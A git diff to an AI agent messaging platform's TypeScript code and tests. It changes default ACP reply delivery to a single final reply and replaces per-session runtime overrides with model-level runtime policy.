a/src/agents/tools/sessions-spawn-tool.test.ts b/src/agents/tools/sessions-spawn-tool.test.ts index 1cb71db10b2..2e0c1461cf9 100644 --- a/src/agents/tools/sessions-spawn-tool.test.ts +++ b/src/agents/tools/sessions-spawn-tool.test.ts @@ -211,8 +211,8 @@ describe("sessions_spawn tool", () => { }); const schema = tool.parameters as { properties?: { - thread?: unknown; - mode?: { enum?: string[] }; + thread?: { description?: string; enum?: string[]; type?: string }; + mode?: { description?: string; enum?: string[]; type?: string }; }; }; @@ -237,8 +237,8 @@ describe("sessions_spawn tool", () => { }); const schema = tool.parameters as { properties?: { - thread?: unknown; - mode?: { enum?: string[] }; + thread?: { description?: string; enum?: string[]; type?: string }; + mode?: { description?: string; enum?: string[]; type?: string }; }; }; diff --git a/src/agents/workspace.load-extra-bootstrap-files.test.ts b/src/agents/workspace.load-extra-bootstrap-files.test.ts index a10d0c727b4..c8b202a8cc4 100644 --- a/src/agents/workspace.load-extra-bootstrap-files.test.ts +++ b/src/agents/workspace.load-extra-bootstrap-files.test.ts @@ -106,6 +106,6 @@ describe("loadExtraBootstrapFiles", () => { ]); expect(files).toHaveLength(0); - expect(diagnostics.some((d) => d.reason === "security")).toBe(true); + expect(diagnostics.map((diagnostic) => diagnostic.reason)).toContain("security"); }); }); diff --git a/src/auto-reply/dispatch.test.ts b/src/auto-reply/dispatch.test.ts index 7a039a5f266..ec2d09198b7 100644 --- a/src/auto-reply/dispatch.test.ts +++ b/src/auto-reply/dispatch.test.ts @@ -236,7 +236,9 @@ describe("withReplyDispatcher", () => { }); const dispatcherOptions = hoisted.createReplyDispatcherMock.mock.calls[0]?.[0]; - expect(dispatcherOptions?.beforeDeliver).toEqual(expect.any(Function)); + if (!dispatcherOptions?.beforeDeliver) { + throw new Error("expected beforeDeliver hook"); + } const payload = await dispatcherOptions.beforeDeliver( { text: "original reply" }, diff --git a/src/auto-reply/reply.stage-sandbox-media.scp-remote-path.test.ts b/src/auto-reply/reply.stage-sandbox-media.scp-remote-path.test.ts index 1e941a91fdb..f8cc0c6bd2e 100644 --- a/src/auto-reply/reply.stage-sandbox-media.scp-remote-path.test.ts +++ b/src/auto-reply/reply.stage-sandbox-media.scp-remote-path.test.ts @@ -107,6 +107,7 @@ describe("stageSandboxMedia scp remote paths", () => { workspaceDir, }); + expect(childProcessMocks.spawn.mock.calls[0]?.[0]).toBe("scp"); const remoteCacheRoot = join(CONFIG_DIR, "media", "remote-cache"); const expectedSafeDir = join(remoteCacheRoot, slugifySessionKey(sessionKey)); try { diff --git a/src/auto-reply/reply/acp-projector.test.ts b/src/auto-reply/reply/acp-projector.test.ts index e413b07888f..7402e07d1cc 100644 --- a/src/auto-reply/reply/acp-projector.test.ts +++ b/src/auto-reply/reply/acp-projector.test.ts @@ -201,7 +201,7 @@ describe("createAcpReplyProjector", () => { expect(onProgress).toHaveBeenCalledTimes(2); }); - it("coalesces text deltas into bounded block chunks", async () => { + it("buffers default final-only text into one final reply", async () => { const { deliveries, projector } = createProjectorHarness(); await projector.onEvent({ @@ -211,10 +211,7 @@ describe("createAcpReplyProjector", () => { }); await projector.flush(true); - expect(deliveries).toEqual([ - { kind: "block", text: "a".repeat(64) }, - { kind: "block", text: "a".repeat(6) }, - ]); + expect(deliveries).toEqual([{ kind: "final", text: "a".repeat(70) }]); }); it("does not suppress identical short text across terminal turn boundaries", async () => { @@ -363,7 +360,7 @@ describe("createAcpReplyProjector", () => { text: prefixSystemMessage("available commands updated (7)"), }); expectToolCallSummary(deliveries[1]); - expect(deliveries[2]).toEqual({ kind: "block", text: "What now?" }); + expect(deliveries[2]).toEqual({ kind: "final", text: "What now?" }); }); it("flushes buffered status/tool output on error in deliveryMode=final_only", async () => { diff --git a/src/auto-reply/reply/acp-projector.ts b/src/auto-reply/reply/acp-projector.ts index 0ab3887476d..3b919a2b3d4 100644 --- a/src/auto-reply/reply/acp-projector.ts +++ b/src/auto-reply/reply/acp-projector.ts @@ -204,6 +204,7 @@ export function createAcpReplyProjector(params: { let lastVisibleOutputTail: string | undefined; let pendingHiddenBoundary = false; let liveBufferText = ""; + let finalOnlyOutputText = ""; let liveIdleTimer: NodeJS.Timeout | undefined; const pendingToolDeliveries: BufferedToolDelivery[] = []; const toolLifecycleById = new Map(); @@ -272,6 +273,7 @@ export function createAcpReplyProjector(params: { lastVisibleOutputTail = undefined; pendingHiddenBoundary = false; liveBufferText = ""; + finalOnlyOutputText = ""; pendingToolDeliveries.length = 0; toolLifecycleById.clear(); }; @@ -291,7 +293,15 @@ export function createAcpReplyProjector(params: { flushLiveBuffer({ force: true }); } await flushBufferedToolDeliveries(force); - drainChunker(force); + if (settings.deliveryMode === "final_only") { + if (force && finalOnlyOutputText.trim().length > 0) { + const text = finalOnlyOutputText; + finalOnlyOutputText = ""; + await params.deliver("final", { text }); + } + } else { + drainChunker(force); + } await blockReplyPipeline.flush({ force }); }; @@ -445,8 +455,7 @@ export function createAcpReplyProjector(params: { scheduleLiveIdleFlush(); } } else { - chunker.append(accepted); - drainChunker(false); + finalOnlyOutputText += accepted; } } if (accepted.length < text.length) { diff --git a/src/auto-reply/reply/agent-runner-execution.ts b/src/auto-reply/reply/agent-runner-execution.ts index 33593a6e074..328dc85c3ee 100644 --- a/src/auto-reply/reply/agent-runner-execution.ts +++ b/src/auto-reply/reply/agent-runner-execution.ts @@ -15,10 +15,7 @@ import { resolveContextTokensForModel } from "../../agents/context.js"; import { resolveAgentHarnessPolicy } from "../../agents/harness/selection.js"; import { LiveSessionModelSwitchError } from "../../agents/live-model-switch-error.js"; import { runWithModelFallback, isFallbackSummaryError } from "../../agents/model-fallback.js"; -import { - isCliRuntimeAlias, - resolveCliRuntimeExecutionProvider, -} from "../../agents/model-runtime-aliases.js"; +import { resolveCliRuntimeExecutionProvider } from "../../agents/model-runtime-aliases.js"; import { isCliProvider, resolveModelRefFromString } from "../../agents/model-selection.js"; import { resolveOpenAIRuntimeProviderForPi } from "../../agents/openai-codex-routing.js"; import { @@ -342,10 +339,13 @@ function extractCodexUsageLimitMessage(text: string): string | undefined { "You've reached your Codex subscription usage limit.", "Codex usage limit reached.", ]; - const markerIndex = markers - .map((marker) => text.indexOf(marker)) - .filter((index) => index >= 0) - .toSorted((left, right) => left - right)[0]; + let markerIndex: number | undefined; + for (const marker of markers) { + const index = text.indexOf(marker); + if (index >= 0 && (markerIndex === undefined || index < markerIndex)) { + markerIndex = index; + } + } if (markerIndex === undefined) { return undefined; } @@ -1404,15 +1404,12 @@ export async function runAgentTurnWithFallback(params: { ); } - const agentRuntimeOverride = normalizeOptionalString( - params.getActiveSessionEntry()?.agentRuntimeOverride, - ); const cliExecutionProvider = resolveCliRuntimeExecutionProvider({ provider, cfg: runtimeConfig, agentId: params.followupRun.run.agentId, - runtimeOverride: agentRuntimeOverride, + modelId: model, }) ?? provider; if (isCliProvider(cliExecutionProvider, runtimeConfig)) { @@ -1565,13 +1562,6 @@ export async function runAgentTurnWithFallback(params: { model, }, ); - const requestedAgentHarnessId = - agentRuntimeOverride && - agentRuntimeOverride !== "auto" && - agentRuntimeOverride !== "default" && - !isCliRuntimeAlias(agentRuntimeOverride) - ? agentRuntimeOverride - : undefined; const agentHarnessPolicy = resolveAgentHarnessPolicy({ provider, modelId: model, @@ -1581,8 +1571,7 @@ export async function runAgentTurnWithFallback(params: { }); const embeddedRunProvider = resolveOpenAIRuntimeProviderForPi({ provider, - harnessRuntime: requestedAgentHarnessId ?? agentHarnessPolicy.runtime, - agentHarnessId: requestedAgentHarnessId, + harnessRuntime: agentHarnessPolicy.runtime, authProfileProvider: runBaseParams.authProfileId?.split(":", 1)[0], authProfileId: runBaseParams.authProfileId, config: runtimeConfig, @@ -1607,7 +1596,6 @@ export async function runAgentTurnWithFallback(params: { ...senderContext, ...runBaseParams, provider: embeddedRunProvider, - ...(requestedAgentHarnessId ? { agentHarnessId: requestedAgentHarnessId } : {}), sandboxSessionKey: params.runtimePolicySessionKey, prompt: params.commandBody, transcriptPrompt: params.transcriptCommandBody, diff --git a/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts b/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts index 04f0bba35c0..465c3034a60 100644 --- a/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts +++ b/src/auto-reply/reply/agent-runner.misc.runreplyagent.test.ts @@ -7,6 +7,7 @@ import { abortEmbeddedPiRun, isEmbeddedPiRunActive, } from "../../agents/pi-embedded-runner/runs.js"; +import { clearRuntimeConfigSnapshot } from "../../config/config.js"; import * as sessionTypesModule from "../../config/sessions.js"; import type { SessionEntry } from "../../config/sessions.js"; import { loadSessionStore, saveSessionStore } from "../../config/sessions.js"; @@ -149,6 +150,7 @@ type RunWithModelFallbackParams = { }; beforeEach(() => { + clearRuntimeConfigSnapshot(); resetDiagnosticEventsForTest(); embeddedRunTesting.resetActiveEmbeddedRuns(); replyRunRegistryTesting.resetReplyRunRegistry(); @@ -182,6 +184,7 @@ beforeEach(() => { }); afterEach(() => { + clearRuntimeConfigSnapshot(); resetDiagnosticEventsForTest(); vi.useRealTimers(); clearMemoryPluginState(); @@ -1810,7 +1813,6 @@ describe("runReplyAgent claude-cli routing", () => { const sessionEntry = { sessionId: "session", updatedAt: Date.now(), - agentRuntimeOverride: "claude-cli", } as SessionEntry; const followupRun = { prompt: "hello", @@ -1822,7 +1824,15 @@ describe("runReplyAgent claude-cli routing", () => { messageProvider: "webchat", sessionFile: "/tmp/session.jsonl", workspaceDir: "/tmp", - config: { agents: { defaults: { agentRuntime: { id: "claude-cli" } } } }, + config: { + agents: { + defaults: { + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, + }, + }, + }, + }, skillsSnapshot: {}, provider: "anthropic", model: "claude-opus-4-7", diff --git a/src/auto-reply/reply/directive-handling.mixed-inline.test.ts b/src/auto-reply/reply/directive-handling.mixed-inline.test.ts index 99517aa13d9..d8e57ed616d 100644 --- a/src/auto-reply/reply/directive-handling.mixed-inline.test.ts +++ b/src/auto-reply/reply/directive-handling.mixed-inline.test.ts @@ -6,8 +6,10 @@ import { parseInlineDirectives } from "./directive-handling.parse.js"; import { persistInlineDirectives } from "./directive-handling.persist.js"; vi.mock("../../agents/agent-scope.js", () => ({ + listAgentEntries: vi.fn(() => []), resolveAgentConfig: vi.fn(() => ({})), resolveAgentDir: vi.fn(() => "/tmp/agent"), + resolveSessionAgentIds: vi.fn(() => ({ requestedAgentId: "main", sessionAgentId: "main" })), resolveSessionAgentId: vi.fn(() => "main"), resolveDefaultAgentId: vi.fn(() => "main"), })); diff --git a/src/auto-reply/reply/directive-handling.model.test.ts b/src/auto-reply/reply/directive-handling.model.test.ts index cfb3a7fe975..5cffd2e9ef6 100644 --- a/src/auto-reply/reply/directive-handling.model.test.ts +++ b/src/auto-reply/reply/directive-handling.model.test.ts @@ -598,7 +598,7 @@ describe("/model chat UX", () => { expect(reply?.text).not.toContain("via codex runtime"); }); - it("does not borrow Codex auth when OpenAI is pinned to PI runtime", async () => { + it("does not borrow Codex auth when OpenAI model policy pins PI runtime", async () => { setAuthProfiles({ "openai-codex:patrick@example.test": { type: "oauth", @@ -619,10 +619,11 @@ describe("/model chat UX", () => { commands: { text: true }, agents: { defaults: { - agentRuntime: { id: "pi" }, model: { primary: "openai/gpt-5.5" }, models: { - "openai/gpt-5.5": {}, + "openai/gpt-5.5": { + agentRuntime: { id: "pi" }, + }, }, }, }, @@ -911,7 +912,7 @@ describe("/model chat UX", () => { expect(sessionEntry.authProfileOverride).toBe(OPENAI_DATE_PROFILE_ID); }); - it("persists provider-compatible runtime overrides for mixed-content messages", async () => { + it("ignores provider-compatible runtime overrides for mixed-content messages", async () => { const { sessionEntry } = await persistModelDirectiveForTest({ command: "/model openai/gpt-4o --runtime codex hello", allowedModelKeys: ["openai/gpt-4o"], @@ -919,16 +920,16 @@ describe("/model chat UX", () => { expect(sessionEntry.providerOverride).toBe("openai"); expect(sessionEntry.modelOverride).toBe("gpt-4o"); - expect(sessionEntry.agentRuntimeOverride).toBe("codex"); + expect(sessionEntry.agentRuntimeOverride).toBeUndefined(); }); - it("canonicalizes legacy Codex app-server runtime overrides during persistence", async () => { + it("ignores legacy Codex app-server runtime overrides during persistence", async () => { const { sessionEntry } = await persistModelDirectiveForTest({ command: "/model openai/gpt-4o --runtime codex-app-server hello", allowedModelKeys: ["openai/gpt-4o"], }); - expect(sessionEntry.agentRuntimeOverride).toBe("codex"); + expect(sessionEntry.agentRuntimeOverride).toBeUndefined(); }); it("uses Codex OAuth context config for persisted native Codex runtime directives", async () => { @@ -988,7 +989,7 @@ describe("/model chat UX", () => { initialModelLabel: "openai/gpt-4o", }); - expect(sessionEntry.agentRuntimeOverride).toBe("pi"); + expect(sessionEntry.agentRuntimeOverride).toBeUndefined(); expect(enqueueSystemEvent).toHaveBeenCalledWith( "Ignored unsupported runtime claude-cli for openai.", { diff --git a/src/auto-reply/reply/directive-handling.model.ts b/src/auto-reply/reply/directive-handling.model.ts index f4059e47d68..84c187800fe 100644 --- a/src/auto-reply/reply/directive-handling.model.ts +++ b/src/auto-reply/reply/directive-handling.model.ts @@ -39,12 +39,8 @@ function resolveStatusHarnessRuntime(params: { sessionEntry?: Pick; defaultRuntime: string; }): string { - const sessionRuntime = normalizeOptionalString( - params.sessionEntry?.agentRuntimeOverride ?? params.sessionEntry?.agentHarnessId, - ); - return sessionRuntime && sessionRuntime !== "auto" && sessionRuntime !== "default" - ? sessionRuntime - : params.defaultRuntime; + void params.sessionEntry; + return params.defaultRuntime; } async function resolveStatusAuthLabel(params: { diff --git a/src/auto-reply/reply/directive-handling.persist.ts b/src/auto-reply/reply/directive-handling.persist.ts index c27de1e43d1..eb095740b9b 100644 --- a/src/auto-reply/reply/directive-handling.persist.ts +++ b/src/auto-reply/reply/directive-handling.persist.ts @@ -3,6 +3,7 @@ import { resolveDefaultAgentId, resolveSessionAgentId, } from "../../agents/agent-scope.js"; +import { resolveAgentHarnessPolicy } from "../../agents/harness/selection.js"; import type { ModelCatalogEntry } from "../../agents/model-catalog.js"; import { listLegacyRuntimeModelProviderAliases } from "../../agents/model-runtime-aliases.js"; import { normalizeProviderId, type ModelAliasIndex } from "../../agents/model-selection.js"; @@ -79,17 +80,6 @@ function resolveContextConfigProviderForRuntime(params: { return params.provider; } -function resolveDirectiveRuntimeId(params: { - agentCfg: NonNullable["defaults"] | undefined; - sessionEntry?: SessionEntry; -}): string | undefined { - return ( - params.sessionEntry?.agentRuntimeOverride ?? - params.sessionEntry?.agentHarnessId ?? - params.agentCfg?.agentRuntime?.id - ); -} - export async function persistInlineDirectives(params: { directives: InlineDirectives; effectiveModelDirective?: string; @@ -278,11 +268,22 @@ export async function persistInlineDirectives(params: { updated = true; } } else if (runtimeOverride?.kind === "set") { - if (sessionEntry.agentRuntimeOverride !== runtimeOverride.runtime) { - sessionEntry.agentRuntimeOverride = runtimeOverride.runtime; + if (sessionEntry.agentRuntimeOverride) { + delete sessionEntry.agentRuntimeOverride; updated = true; } + enqueueSystemEvent( + `Ignored session runtime ${runtimeOverride.runtime}; configure provider or model runtime policy instead.`, + { + sessionKey, + contextKey: `model-runtime:${modelResolution.modelSelection.provider}:${runtimeOverride.runtime}:ignored-session-runtime`, + }, + ); } else if (runtimeOverride?.kind === "invalid") { + if (sessionEntry.agentRuntimeOverride) { + delete sessionEntry.agentRuntimeOverride; + updated = true; + } enqueueSystemEvent( `Ignored unsupported runtime ${runtimeOverride.runtime} for ${modelResolution.modelSelection.provider}.`, { @@ -369,7 +370,13 @@ export async function persistInlineDirectives(params: { agentCfg, provider: resolveContextConfigProviderForRuntime({ provider, - runtimeId: resolveDirectiveRuntimeId({ agentCfg, sessionEntry }), + runtimeId: resolveAgentHarnessPolicy({ + provider, + modelId: model, + config: cfg, + agentId: activeAgentId, + sessionKey, + }).runtime, }), model, }), diff --git a/src/auto-reply/reply/dispatch-acp-delivery.ts b/src/auto-reply/reply/dispatch-acp-delivery.ts index fac3af6bd20..276b1dfb06e 100644 --- a/src/auto-reply/reply/dispatch-acp-delivery.ts +++ b/src/auto-reply/reply/dispatch-acp-delivery.ts @@ -140,6 +140,7 @@ type AcpDispatchDeliveryState = { accumulatedBlockText: string; accumulatedVisibleBlockText: string; accumulatedBlockTtsText: string; + accumulatedFinalText: string; cleanBlockTtsDirectiveText?: ReturnType; blockCount: number; deliveredFinalReply: boolean; @@ -162,6 +163,7 @@ export type AcpDispatchDeliveryCoordinator = { getAccumulatedBlockText: () => string; getAccumulatedVisibleBlockText: () => string; getAccumulatedBlockTtsText: () => string; + getAccumulatedFinalText: () => string; settleVisibleText: () => Promise; hasDeliveredFinalReply: () => boolean; hasDeliveredVisibleText: () => boolean; @@ -202,6 +204,7 @@ export function createAcpDispatchDeliveryCoordinator(params: { accumulatedBlockText: "", accumulatedVisibleBlockText: "", accumulatedBlockTtsText: "", + accumulatedFinalText: "", cleanBlockTtsDirectiveText: shouldCleanTtsDirectiveText({ cfg: params.cfg, ttsAuto: params.sessionTtsAuto, @@ -330,6 +333,13 @@ export function createAcpDispatchDeliveryCoordinator(params: { state.accumulatedVisibleBlockText += visiblePayload.text; } } + const rawFinalText = kind === "final" ? normalizeOptionalString(payload.text) : undefined; + if (rawFinalText) { + if (state.accumulatedFinalText.length > 0) { + state.accumulatedFinalText += "\n"; + } + state.accumulatedFinalText += rawFinalText; + } if (hasOutboundReplyContent(visiblePayload, { trimText: true })) { await startReplyLifecycleOnce(); @@ -445,6 +455,7 @@ export function createAcpDispatchDeliveryCoordinator(params: { getAccumulatedBlockText: () => state.accumulatedBlockText, getAccumulatedVisibleBlockText: () => state.accumulatedVisibleBlockText, getAccumulatedBlockTtsText: () => state.accumulatedBlockTtsText, + getAccumulatedFinalText: () => state.accumulatedFinalText, settleVisibleText: settleDirectVisibleText, hasDeliveredFinalReply: () => state.deliveredFinalReply, hasDeliveredVisibleText: () => state.deliveredVisibleText, diff --git a/src/auto-reply/reply/dispatch-acp.test.ts b/src/auto-reply/reply/dispatch-acp.test.ts index 708d6a894f5..ac66ae2b8f9 100644 --- a/src/auto-reply/reply/dispatch-acp.test.ts +++ b/src/auto-reply/reply/dispatch-acp.test.ts @@ -377,7 +377,11 @@ describe("tryDispatchAcpReply", () => { channelPluginMocks.getChannelPlugin.mockClear(); messageActionMocks.runMessageAction.mockReset(); messageActionMocks.runMessageAction.mockResolvedValue({ ok: true as const }); - ttsMocks.maybeApplyTtsToPayload.mockClear(); + ttsMocks.maybeApplyTtsToPayload.mockReset(); + ttsMocks.maybeApplyTtsToPayload.mockImplementation(async (paramsUnknown: unknown) => { + const params = paramsUnknown as { payload: unknown }; + return params.payload; + }); ttsMocks.resolveTtsConfig.mockReset(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); mediaUnderstandingMocks.applyMediaUnderstanding.mockReset(); @@ -393,7 +397,7 @@ describe("tryDispatchAcpReply", () => { globalThis.fetch = originalFetch; }); - it("routes ACP block output to originating channel", async () => { + it("routes default ACP output to the originating channel as a final reply", async () => { setReadyAcpResolution(); mockRoutedTextTurn("hello"); @@ -404,14 +408,17 @@ describe("tryDispatchAcpReply", () => { shouldRouteToOriginating: true, }); - expect(result?.counts.block).toBe(1); + expect(result?.counts.block).toBe(0); + expect(result?.counts.final).toBe(1); expect(routeMocks.routeReply).toHaveBeenCalledWith( expect.objectContaining({ channel: "telegram", to: "telegram:thread-1", + payload: expect.objectContaining({ text: "hello" }), }), ); expect(dispatcher.sendBlockReply).not.toHaveBeenCalled(); + expect(dispatcher.sendFinalReply).not.toHaveBeenCalled(); }); it("persists ACP transcript when routed delivery fails", async () => { @@ -1187,18 +1194,18 @@ describe("tryDispatchAcpReply", () => { ); }); - it("does not deliver final fallback text when routed block text was already visible", async () => { + it("does not add a fallback when routed ACP text was already delivered as final", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies({ text: "CODEX_OK" }, {} as ReturnType); const { result } = await runRoutedAcpTextTurn("CODEX_OK"); - expect(result?.counts.block).toBe(1); - expect(result?.counts.final).toBe(0); + expect(result?.counts.block).toBe(0); + expect(result?.counts.final).toBe(1); expect(routeMocks.routeReply).toHaveBeenCalledTimes(1); }); - it("does not deliver final fallback text when routed discord block text was already visible", async () => { + it("routes default ACP text as one final reply to Discord", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies( @@ -1216,8 +1223,8 @@ describe("tryDispatchAcpReply", () => { originatingTo: "channel:1478836151241412759", }); - expect(result?.counts.block).toBe(1); - expect(result?.counts.final).toBe(0); + expect(result?.counts.block).toBe(0); + expect(result?.counts.final).toBe(1); expect(routeMocks.routeReply).toHaveBeenCalledTimes(1); expect(routeMocks.routeReply).toHaveBeenCalledWith( expect.objectContaining({ @@ -1228,7 +1235,7 @@ describe("tryDispatchAcpReply", () => { ); }); - it("does not deliver final fallback text when routed Slack block text was already visible", async () => { + it("routes default ACP text as one final reply to Slack", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies( @@ -1246,8 +1253,8 @@ describe("tryDispatchAcpReply", () => { originatingTo: "channel:C123", }); - expect(result?.counts.block).toBe(1); - expect(result?.counts.final).toBe(0); + expect(result?.counts.block).toBe(0); + expect(result?.counts.final).toBe(1); expect(routeMocks.routeReply).toHaveBeenCalledTimes(1); expect(routeMocks.routeReply).toHaveBeenCalledWith( expect.objectContaining({ @@ -1258,7 +1265,7 @@ describe("tryDispatchAcpReply", () => { ); }); - it("does not deliver final fallback text when direct block text was already visible", async () => { + it("delivers default Telegram ACP text directly as a final reply", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies({ text: "CODEX_OK" }, {} as ReturnType); @@ -1278,13 +1285,14 @@ describe("tryDispatchAcpReply", () => { expect(result?.counts.final).toBe(0); expect(counts.block).toBe(0); expect(counts.final).toBe(0); - expect(dispatcher.sendBlockReply).toHaveBeenCalledWith( + expect(result?.queuedFinal).toBe(true); + expect(dispatcher.sendBlockReply).not.toHaveBeenCalled(); + expect(dispatcher.sendFinalReply).toHaveBeenCalledWith( expect.objectContaining({ text: "CODEX_OK" }), ); - expect(dispatcher.sendFinalReply).not.toHaveBeenCalled(); }); - it("does not deliver final fallback text when direct discord block text was already visible", async () => { + it("delivers default Discord ACP text directly as a final reply", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies( @@ -1307,13 +1315,14 @@ describe("tryDispatchAcpReply", () => { expect(result?.counts.final).toBe(0); expect(counts.block).toBe(0); expect(counts.final).toBe(0); - expect(dispatcher.sendBlockReply).toHaveBeenCalledWith( + expect(result?.queuedFinal).toBe(true); + expect(dispatcher.sendBlockReply).not.toHaveBeenCalled(); + expect(dispatcher.sendFinalReply).toHaveBeenCalledWith( expect.objectContaining({ text: "Received." }), ); - expect(dispatcher.sendFinalReply).not.toHaveBeenCalled(); }); - it("does not deliver final fallback text when direct Slack block text was already visible", async () => { + it("delivers default Slack ACP text directly as a final reply", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies( @@ -1336,13 +1345,14 @@ describe("tryDispatchAcpReply", () => { expect(result?.counts.final).toBe(0); expect(counts.block).toBe(0); expect(counts.final).toBe(0); - expect(dispatcher.sendBlockReply).toHaveBeenCalledWith( + expect(result?.queuedFinal).toBe(true); + expect(dispatcher.sendBlockReply).not.toHaveBeenCalled(); + expect(dispatcher.sendFinalReply).toHaveBeenCalledWith( expect.objectContaining({ text: "Slack says hi." }), ); - expect(dispatcher.sendFinalReply).not.toHaveBeenCalled(); }); - it("treats visible telegram ACP block delivery as a successful final response", async () => { + it("treats Telegram ACP final delivery as a successful final response", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies({ text: "CODEX_OK" }, {} as ReturnType); @@ -1359,13 +1369,13 @@ describe("tryDispatchAcpReply", () => { }); expect(result?.queuedFinal).toBe(true); - expect(dispatcher.sendBlockReply).toHaveBeenCalledWith( + expect(dispatcher.sendBlockReply).not.toHaveBeenCalled(); + expect(dispatcher.sendFinalReply).toHaveBeenCalledWith( expect.objectContaining({ text: "CODEX_OK" }), ); - expect(dispatcher.sendFinalReply).not.toHaveBeenCalled(); }); - it("preserves final fallback when direct block text is filtered by channels without a visibility override", async () => { + it("delivers default ACP text as final for channels without a visibility override", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies({ text: "CODEX_OK" }, {} as ReturnType); @@ -1385,9 +1395,8 @@ describe("tryDispatchAcpReply", () => { expect(result?.counts.final).toBe(0); expect(counts.block).toBe(0); expect(counts.final).toBe(0); - expect(dispatcher.sendBlockReply).toHaveBeenCalledWith( - expect.objectContaining({ text: "CODEX_OK" }), - ); + expect(result?.queuedFinal).toBe(true); + expect(dispatcher.sendBlockReply).not.toHaveBeenCalled(); expect(dispatcher.sendFinalReply).toHaveBeenCalledWith( expect.objectContaining({ text: "CODEX_OK" }), ); @@ -1450,6 +1459,12 @@ describe("tryDispatchAcpReply", () => { it("honors the configured default account for ACP projector chunking when AccountId is omitted", async () => { setReadyAcpResolution(); const cfg = createAcpTestConfig({ + acp: { + enabled: true, + stream: { + deliveryMode: "live", + }, + }, channels: { discord: { defaultAccount: "work", @@ -1489,7 +1504,7 @@ describe("tryDispatchAcpReply", () => { ); }); - it("does not add a second routed payload when routed block text was already visible", async () => { + it("does not add a second routed payload when routed final text was already visible", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies({ text: "Task completed" }, { @@ -1498,21 +1513,21 @@ describe("tryDispatchAcpReply", () => { } as MockTtsReply); const { result } = await runRoutedAcpTextTurn("Task completed"); - expect(result?.counts.block).toBe(1); - expect(result?.counts.final).toBe(0); + expect(result?.counts.block).toBe(0); + expect(result?.counts.final).toBe(1); expect(routeMocks.routeReply).toHaveBeenCalledTimes(1); expectRoutedPayload(1, { text: "Task completed", }); }); - it("skips fallback when TTS mode is all (blocks already processed with TTS)", async () => { + it("skips fallback when TTS mode is all and final delivery already succeeded", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "all" }); const { result } = await runRoutedAcpTextTurn("Response"); - expect(result?.counts.block).toBe(1); - expect(result?.counts.final).toBe(0); + expect(result?.counts.block).toBe(0); + expect(result?.counts.final).toBe(1); expect(routeMocks.routeReply).toHaveBeenCalledTimes(1); }); diff --git a/src/auto-reply/reply/dispatch-acp.ts b/src/auto-reply/reply/dispatch-acp.ts index 66642503af9..1b1f22b435a 100644 --- a/src/auto-reply/reply/dispatch-acp.ts +++ b/src/auto-reply/reply/dispatch-acp.ts @@ -519,7 +519,7 @@ export async function tryDispatchAcpReply(params: { cfg: params.cfg, sessionKey: canonicalSessionKey, promptText, - finalText: delivery.getAccumulatedBlockText(), + finalText: delivery.getAccumulatedFinalText() || delivery.getAccumulatedBlockText(), meta: acpResolution.meta, threadId: params.ctx.MessageThreadId, }); diff --git a/src/auto-reply/reply/dispatch-from-config.reply-dispatch.test.ts b/src/auto-reply/reply/dispatch-from-config.reply-dispatch.test.ts index 4e36f370733..46a99c397de 100644 --- a/src/auto-reply/reply/dispatch-from-config.reply-dispatch.test.ts +++ b/src/auto-reply/reply/dispatch-from-config.reply-dispatch.test.ts @@ -1,4 +1,5 @@ import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { clearAgentHarnesses } from "../../agents/harness/registry.js"; import type { PluginHookReplyDispatchResult } from "../../plugins/hooks.js"; import { createInternalHookEventPayload } from "../../test-utils/internal-hook-event-payload.js"; import { @@ -29,6 +30,7 @@ describe("dispatchReplyFromConfig reply_dispatch hook", () => { }); beforeEach(() => { + clearAgentHarnesses(); setDiscordTestRegistry(); resetInboundDedupe(); mocks.routeReply.mockReset().mockResolvedValue({ ok: true, messageId: "mock" }); diff --git a/src/auto-reply/reply/dispatch-from-config.test.ts b/src/auto-reply/reply/dispatch-from-config.test.ts index 7de5db59892..7f9b4d9397c 100644 --- a/src/auto-reply/reply/dispatch-from-config.test.ts +++ b/src/auto-reply/reply/dispatch-from-config.test.ts @@ -1358,11 +1358,13 @@ describe("dispatchReplyFromConfig", () => { opts?: GetReplyOptions, _cfg?: OpenClawConfig, ) => { - expect(requireToolResultHandler(opts?.onToolResult)).toEqual(expect.any(Function)); + const onToolResult = requireToolResultHandler(opts?.onToolResult); + await onToolResult({ text: "tool output" }); return { text: "hi" } satisfies ReplyPayload; }; await dispatchReplyFromConfig({ ctx, cfg, dispatcher, replyResolver }); + expect(dispatcher.sendToolResult).toHaveBeenCalledWith({ text: "tool output" }); expect(dispatcher.sendFinalReply).toHaveBeenCalledTimes(1); }); @@ -2048,7 +2050,7 @@ describe("dispatchReplyFromConfig", () => { acp: { enabled: true, dispatch: { enabled: true }, - stream: { coalesceIdleMs: 0, maxChunkChars: 128 }, + stream: { deliveryMode: "live", coalesceIdleMs: 0, maxChunkChars: 128 }, }, } as OpenClawConfig; const dispatcher = createDispatcher(); @@ -2468,7 +2470,7 @@ describe("dispatchReplyFromConfig", () => { acp: { enabled: true, dispatch: { enabled: true }, - stream: { coalesceIdleMs: 0, maxChunkChars: 256 }, + stream: { deliveryMode: "live", coalesceIdleMs: 0, maxChunkChars: 256 }, }, } as OpenClawConfig; const dispatcher = createDispatcher(); @@ -2546,7 +2548,7 @@ 